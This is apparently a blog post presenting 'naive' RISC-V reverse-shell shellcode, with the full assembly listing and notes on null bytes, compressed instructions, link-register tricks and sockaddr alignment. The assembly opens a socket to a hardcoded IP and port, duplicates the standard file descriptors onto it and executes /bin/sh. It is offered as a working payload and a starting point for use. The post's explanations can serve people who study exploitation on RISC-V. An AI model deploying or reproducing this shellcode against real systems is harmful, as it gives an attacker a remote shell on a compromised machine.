Here I want to share a simple script that generates a reverse shell to a given IP address and port. I decided to call it naive—it’s not obfuscated at all and it’s full of
ECALL instructions, which means nulls. This is probably only applicable in situations where there are no badchars at all. On the bright side it’s fairly compact. There are ways the badchar situation could be improved but I think it will depend on the execution context much more than x86. In any case, this is the starting point.
rv-naive-revshell.py — Python 3 generator script
This is the shellcode (86 bytes):
.global _start .text _start: li a0,2 # AF_INET li a1,1 # SOCK_STREAM li a2,0 # protocol = 0 for tcp li a7,198 # socket ecall mv t0,a0 # save socket fd to t0 jal a1,get_sa # load sockaddr ptr into a1 connect: li a2,16 # len(sockaddr) - final 8 bytes are garbage addi a7,a7,5 # 203 = connect ecall li a2,0 # flags li a1,2 # destination fd 2 li a7,24 # dup3 re_dup3: mv a0,t0 # specify the socket we want to dup ecall addi a1,a1,-1 # decrement fd and continue until <0 bgez a1,re_dup3 jal a0,get_path # load pathname string ptr into a0 execve: li a1,0 # null argv li a2,0 # null envp li a7,221 # execve ecall get_path: jal a0,execve .ascii "/bin/sh\0" get_sa: jal a1,connect sockaddr: .byte 0x02, 0x00 .byte 0x11, 0x5c # port .byte 0x7f, 0x01, 0x01, 0x01 # ip
All of this is very similar to other reverse shells but there are some things to point out:
- RISC-V is flexible for loading small immediate values, including zero. A 6-bit signed number can be loaded into a register using the
C.LIinstruction from the compressed instruction set. This instruction occupies 2 bytes and will never contain any nulls, regardless of which register or immediate value is used.
- Pushing large chunks of data onto the stack is tedious and requires a lot of instructions. That is why I included both the shell path and the
struct sockaddras binary at the end.
get_saroutines are the equivalent of the jmp-call-pop technique to determine the program counter value, except using link registers instead of the stack.
- To fit the definition of a
struct sockaddrit is necessary to specify its length as 16. In practice the memory following the address isn’t relevant for IP so I get away with only defining the first 8 bytes.
- It is critical that the binary values at the end are an even number of bytes. If the
.asciihad only 7 bytes, the following
jalinstruction would be misaligned and it would be impossible to assemble.